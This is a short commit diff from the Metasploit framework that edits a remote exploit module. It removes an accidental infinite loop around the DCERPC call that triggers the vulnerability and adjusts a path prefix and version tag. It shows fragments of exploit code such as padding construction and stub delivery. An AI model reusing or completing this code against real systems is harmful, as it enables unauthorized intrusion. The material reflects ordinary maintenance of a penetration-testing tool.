Remove the while(true) which snuck into this module

git-svn-id: file:///home/svn/framework3/trunk@5803 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2008-10-30 07:21:53 +00:00
parent 330bd2ef5b
commit e9d133e9aa
1 changed files with 4 additions and 5 deletions

View File

@ -1,5 +1,5 @@
##
# $Id:$
# $Id$
##
##
@ -218,7 +218,7 @@ class Metasploit3 < Msf::Exploit::Remote
pad += c
end
prefix = ""
prefix = "\\"
server = Rex::Text.rand_text_alpha(rand(8)+1).upcase
jumper = Rex::Text.rand_text_alpha(70).upcase
@ -272,9 +272,8 @@ class Metasploit3 < Msf::Exploit::Remote
begin
print_status("Triggering the vulnerability...")
while(true)
dcerpc.call(0x1f, stub)
end
dcerpc.call(0x1f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/